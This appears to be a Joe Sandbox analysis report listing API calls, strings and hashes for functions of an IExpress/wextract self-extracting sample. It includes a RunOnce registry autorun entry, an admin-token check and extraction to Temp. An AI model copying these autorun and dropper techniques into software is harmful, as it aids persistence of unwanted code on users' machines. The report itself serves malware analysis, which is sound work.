Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$valid
API String ID: 2418873061-2330206329
Opcode ID: bb4f42008f45192fb0e9a7330d721edc90a4c308175e05d0d43638a3e7556fa6
Instruction ID: 51f1ad36874f2a0baab66ce435011c2291f35a546a923f143ee2fd737690558a
Opcode Fuzzy Hash: bb4f42008f45192fb0e9a7330d721edc90a4c308175e05d0d43638a3e7556fa6
Instruction Fuzzy Hash: 85515970340740BBEB231B364C4DF7B2E4C9B46BC7F514528FE019A0F0CAB48B49A262

Function 003534F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000), ref: 00353535
EndDialog.USER32(?,?), ref: 00353541
ResetEvent.KERNEL32 ref: 0035355F
SetEvent.KERNEL32(00351140,00000000,00000020,00000004), ref: 00353590
GetDesktopWindow.USER32 ref: 003535C7
GetDlgItem.USER32(?,0000083B), ref: 003535F1
SendMessageA.USER32(00000000), ref: 003535F8
GetDlgItem.USER32(?,0000083B), ref: 00353610
SendMessageA.USER32(00000000), ref: 00353617
SetWindowTextA.USER32(?,valid), ref: 00353623
CreateThread.KERNEL32(00000000,00000000,Function_00004FE0,00000000,00000000,00358798), ref: 00353637
EndDialog.USER32(?,00000000), ref: 00353671

Strings

valid, xrefs: 0035361D

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: valid
API String ID: 2406144884-2349282815
Opcode ID: 114f7765d7d39e851e71073db411e3a437a8fe8e04b9239ea8692cc3753b3709
Instruction ID: 4aca6e8ea188cd220115c961afeda079d834413d26ffcf3bc0cf903a11ba5c30
Opcode Fuzzy Hash: 114f7765d7d39e851e71073db411e3a437a8fe8e04b9239ea8692cc3753b3709
Instruction Fuzzy Hash: F1319571240701BBD7231F35EC4DE2A3A6CE786B83F514A19FA02A52B0DA758A04EB55

Function 00354224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 00354236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 0035424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 00354263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 0035427A
GetTempPathA.KERNEL32(00000104,003588C0,?,00000001), ref: 0035429F
CharPrevA.USER32(003588C0,006B1181,?,00000001), ref: 003542C2
CharPrevA.USER32(003588C0,00000000,?,00000001), ref: 003542D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00354391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 003543A5

Strings

SHELL32.DLL, xrefs: 0035422F
SHGetPathFromIDList, xrefs: 00354274
SHBrowseForFolder, xrefs: 00354246

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: a9e97b1660c476925524d6d741886f0f10300945af9e181e21e0d5191bba784b
Instruction ID: 2e91718313a477d9f42fab1bb10b13298cc277388f5a28e74c4dcdcc18017a05
Opcode Fuzzy Hash: a9e97b1660c476925524d6d741886f0f10300945af9e181e21e0d5191bba784b
Instruction Fuzzy Hash: AF41E178A00300AFD717AB60DC85EAE7FB8EB4834BF050569ED01A72B1CB748D499B61

Function 003544B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160memorywindowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00354518
MessageBoxA.USER32(?,?,valid,00010010), ref: 00354554
LocalAlloc.KERNEL32(00000040,00000065), ref: 003545A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 003545E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 0035460D
MessageBeep.USER32(00000000), ref: 00354630
MessageBoxA.USER32(?,00000000,valid,00000000), ref: 00354666
LocalFree.KERNEL32(00000000), ref: 0035466F

Part of subcall function 0035681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0035686E
Part of subcall function 0035681F: GetSystemMetrics.USER32(0000004A), ref: 003568A7
Part of subcall function 0035681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 003568CC
Part of subcall function 0035681F: RegQueryValueExA.ADVAPI32(?,00351140,00000000,?,?,0000000C), ref: 003568F4
Part of subcall function 0035681F: RegCloseKey.ADVAPI32(?), ref: 00356902

Strings

valid, xrefs: 00354545, 0035465A
LoadString() Error. Could not load string resource., xrefs: 003544E4

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$valid
API String ID: 3244514340-303183264
Opcode ID: 54522b476c67cbca780030bb63dba13f7de9be805f156712e792dba3c7ced2b5
Instruction ID: b4dbc7ed199ca02037fac897cd88094c10f2f2f166ed8d5b4418dbd520506a5b
Opcode Fuzzy Hash: 54522b476c67cbca780030bb63dba13f7de9be805f156712e792dba3c7ced2b5
Instruction Fuzzy Hash: C8513771900215ABDB279F28CC48FAA7BB8EF46306F114594FD09A7261DB31DE8DCB50

Function 00352773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32(7C4BB992,00000000,00000000,00000000), ref: 003527A8
CharNextA.USER32(0000054D), ref: 003527B5
CharNextA.USER32(00000000), ref: 003527BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00352829
RegQueryValueExA.ADVAPI32(?,00351140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00352852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00352870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003528A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 003528AA
GetSystemDirectoryA.KERNEL32(-00000005,00000104), ref: 003528B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 003527E4

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 74a6d9aa6893e1f264c6377c9650a15823effc90d552aacf14934cdb455b8f49
Instruction ID: 89b8794f454c7b1949d734876b06b673acb1da624bd1a87cbb2a368b89c01fa8
Opcode Fuzzy Hash: 74a6d9aa6893e1f264c6377c9650a15823effc90d552aacf14934cdb455b8f49
Instruction Fuzzy Hash: AA41A57190022CAFDB269B649C45EEB7BBDEF16702F0040A5F945D3160DB708E899FA1

Function 00352267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 003522A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000000,?,?,00000001), ref: 003522D8
memset.MSVCRT ref: 003522F5
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00352305
RegSetValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 0035236E
RegCloseKey.ADVAPI32(?), ref: 0035237A

Strings

wextract_cleanup1, xrefs: 0035227C, 003522CD, 00352363
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00352299
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 0035232D
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00352321

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup1
API String ID: 3027380567-1226499438
Opcode ID: ed589c45fd49e9a95cf8233e260c694ea428c60aee7f41a74240efde8d03938c
Instruction ID: 14c385f38006ba50036522208de43176d3cfa733baa3935a9bd2bd925daaabda
Opcode Fuzzy Hash: ed589c45fd49e9a95cf8233e260c694ea428c60aee7f41a74240efde8d03938c
Instruction Fuzzy Hash: 9E318675A00218ABDB239B51DC49FDB7B7CEB55702F0401A5FD0DAB061EA71AB8CCA50

Function 00353100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 0035313B
GetDesktopWindow.USER32 ref: 0035314B
SetDlgItemTextA.USER32(?,00000834), ref: 0035316A
SetWindowTextA.USER32(?,valid), ref: 00353176
SetForegroundWindow.USER32(?), ref: 0035317D
GetDlgItem.USER32(?,00000834), ref: 00353185
GetWindowLongA.USER32(00000000,000000FC), ref: 00353190
SetWindowLongA.USER32(00000000,000000FC,003530C0), ref: 003531A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 003531CA

Strings

valid, xrefs: 00353170

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: valid
API String ID: 3785188418-2349282815
Opcode ID: ce5eef281887d9b1993bc332e99de9603ba6fc97361d4b2939cc610c27a8e9a9
Instruction ID: f8e0a4bc70b291a97814c692999e6794cc27d236359265f002503611794ec352
Opcode Fuzzy Hash: ce5eef281887d9b1993bc332e99de9603ba6fc97361d4b2939cc610c27a8e9a9
Instruction Fuzzy Hash: 0A119031204B11BBDB136B349C0DFAA3A68EB46763F110A10FD15A51F0DB708745E752

Function 003518A3 Relevance: 16.6, APIs: 11, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003517EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,003518DD), ref: 0035181A
Part of subcall function 003517EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0035182C
Part of subcall function 003517EE: AllocateAndInitializeSid.ADVAPI32(003518DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,003518DD), ref: 00351855
Part of subcall function 003517EE: FreeSid.ADVAPI32(?,?,?,?,003518DD), ref: 00351883
Part of subcall function 003517EE: FreeLibrary.KERNEL32(00000000,?,?,?,003518DD), ref: 0035188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 003518EB
OpenProcessToken.ADVAPI32(00000000), ref: 003518F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 0035190A
GetLastError.KERNEL32 ref: 00351918
LocalAlloc.KERNEL32(00000000,?,?), ref: 0035192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 00351944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00351964
EqualSid.ADVAPI32(00000004,?), ref: 0035197A
FreeSid.ADVAPI32(?), ref: 0035199C
LocalFree.KERNEL32(00000000), ref: 003519A3
CloseHandle.KERNEL32(?), ref: 003519AD

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 8c8d25f8b31e917f6471eec80c02ffffab2f340e612122dda79bb94a65a03225
Instruction ID: 339f3d99cd0f5f280c26f1c6949496fed824b6315d7b0ad5f8faea9942bc659e
Opcode Fuzzy Hash: 8c8d25f8b31e917f6471eec80c02ffffab2f340e612122dda79bb94a65a03225
Instruction Fuzzy Hash: 55312F71A0060AAFDB129FA5DC59EAFBBBCFF04712F100525E945E2170DB309949DBA1

Function 0035681F Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 81registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0035686E
GetSystemMetrics.USER32(0000004A), ref: 003568A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 003568CC
RegQueryValueExA.ADVAPI32(?,00351140,00000000,?,?,0000000C), ref: 003568F4
RegCloseKey.ADVAPI32(?), ref: 00356902

Part of subcall function 003566F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,0035691A), ref: 00356741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 003568C2
;F5, xrefs: 00356940

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: ;F5$Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-2629965884
Opcode ID: 93f2a59b641c18100c0b871f52ae6c035e1ff7cc7e5841c08ac5ee8aeaf8975c
Instruction ID: 425b89dc305fe71b70e4000a0b0061219ed2d258b34ea66294044d68e76d1ef5
Opcode Fuzzy Hash: 93f2a59b641c18100c0b871f52ae6c035e1ff7cc7e5841c08ac5ee8aeaf8975c
Instruction Fuzzy Hash: 14314F31B017189FDB228B11CC46FAAB77CFB8576AF4101A5ED49A7160DB309E898B52

Function 003517EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,003518DD), ref: 0035181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0035182C
AllocateAndInitializeSid.ADVAPI32(003518DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,003518DD), ref: 00351855
FreeSid.ADVAPI32(?,?,?,?,003518DD), ref: 00351883
FreeLibrary.KERNEL32(00000000,?,?,?,003518DD), ref: 0035188A

Strings

advapi32.dll, xrefs: 00351810
CheckTokenMembership, xrefs: 00351826

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 650c4be28e010c160e6b74826c74613a29ef2925e75167fd4472619d8ae48d71
Instruction ID: ec278b404ff4c8eb49be5c544bac19d107388bc4d0691c4e2cfdef182f9f0796
Opcode Fuzzy Hash: 650c4be28e010c160e6b74826c74613a29ef2925e75167fd4472619d8ae48d71
Instruction Fuzzy Hash: C5115171E00309ABDB129FA4DC4AABEBB78EF44712F110569FA15E32A0DA709D049B91

Function 00353450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 00353490
GetDesktopWindow.USER32 ref: 0035349A
SetWindowTextA.USER32(?,valid), ref: 003534B2
SetDlgItemTextA.USER32(?,00000838), ref: 003534C4
SetForegroundWindow.USER32(?), ref: 003534CB
EndDialog.USER32(?,00000002), ref: 003534D8

Strings

valid, xrefs: 003534AC

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: valid
API String ID: 852535152-2349282815
Opcode ID: 0c74007d1ecd1477c5f90b1d1fe8ae428c2388232980c924869f47736846b510
Instruction ID: 462b3c684be0d488dd3b967739cd28f60651c52b71f76164f983cef4ea16d6dc
Opcode Fuzzy Hash: 0c74007d1ecd1477c5f90b1d1fe8ae428c2388232980c924869f47736846b510
Instruction Fuzzy Hash: 6501D471240A24ABC7175F66DC0CD6D3B68EB05783F038511FD468A9B0CB308F45EB82

Function 00352AAC Relevance: 12.1, APIs: 8, Instructions: 118COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 00352AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 00352AF2
CharNextA.USER32(?), ref: 00352B12
CharUpperA.USER32 ref: 00352B1E
CharPrevA.USER32(?,?), ref: 00352B55
CharNextA.USER32(?), ref: 00352BD4

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 60e52379c2dddc33a21d9bf8407018e534fa2f14f1604f911a5cc89b72034ef8
Instruction ID: 991a415ea3e10f3b62e3860ea6ba398ad3cd7b2795e5ee041458b30db31c8292
Opcode Fuzzy Hash: 60e52379c2dddc33a21d9bf8407018e534fa2f14f1604f911a5cc89b72034ef8
Instruction Fuzzy Hash: 634121345086459FDB179F348C04EFE7BAD9F57302F15019AECC297222DB348E8A8BA0

Function 003528E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 140memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00352A6F

Part of subcall function 00352773: CharUpperA.USER32(7C4BB992,00000000,00000000,00000000), ref: 003527A8
Part of subcall function 00352773: CharNextA.USER32(0000054D), ref: 003527B5
Part of subcall function 00352773: CharNextA.USER32(00000000), ref: 003527BC
Part of subcall function 00352773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00352829
Part of subcall function 00352773: RegQueryValueExA.ADVAPI32(?,00351140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00352852
Part of subcall function 00352773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00352870
Part of subcall function 00352773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003528A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,00353938,?,?,?,?,-00000005), ref: 00352958
GlobalLock.KERNEL32(00000000), ref: 00352969
GlobalUnlock.KERNEL32(00000000), ref: 00352A21
GlobalUnlock.KERNEL32(00000000), ref: 00352A81

Strings

895, xrefs: 0035293D, 0035297E, 00352940

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID: 895
API String ID: 3949799724-2366514339
Opcode ID: 2a30e3cc9056e7fcc64a98dbe90cd0c721c1b5dfee815c699f7ae0fee2f5f6ae
Instruction ID: 64a59b75023bb5c2cf6acf9edaf56633c112af374c590e0d5b14266783f888eb
Opcode Fuzzy Hash: 2a30e3cc9056e7fcc64a98dbe90cd0c721c1b5dfee815c699f7ae0fee2f5f6ae
Instruction Fuzzy Hash: 0F512831E00219DBCB22CF98C885EAEFBB9FF49702F15412AED05E7261DB319945DB90

Function 003543D0 Relevance: 10.6, APIs: 7, Instructions: 97COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 003543F1
GetWindowRect.USER32(00000000,?), ref: 0035440B
GetDC.USER32(?), ref: 00354423
GetDeviceCaps.GDI32(00000000,00000008), ref: 0035442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0035443A
ReleaseDC.USER32(?,00000000), ref: 00354447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,00000001), ref: 003544A2

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: dfd44529320de342e6dbdf9ece36d8a1b4168bfda293a3afbe210763eb085e04
Instruction ID: 626a4365c8dc907c7048672abb60c18db4f88f9981676dfa6335a03dbb3baed9
Opcode Fuzzy Hash: dfd44529320de342e6dbdf9ece36d8a1b4168bfda293a3afbe210763eb085e04
Instruction Fuzzy Hash: C5318471E00619AFCB15CFB8DD49DEEBBB9EB89311F154269F805F3250D6306D058B60

Function 00356298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 0035171E: _vsnprintf.MSVCRT ref: 00351750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,003551CA,00000004,00000024,00352F71,?,00000002,00000000), ref: 003562CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,003551CA,00000004,00000024,00352F71,?,00000002,00000000), ref: 003562D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,003551CA,00000004,00000024,00352F71,?,00000002,00000000), ref: 0035631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 00356345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,003551CA,00000004,00000024,00352F71,?,00000002,00000000), ref: 00356357

Strings

UPDFILE%lu, xrefs: 003562B3, 00356329

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
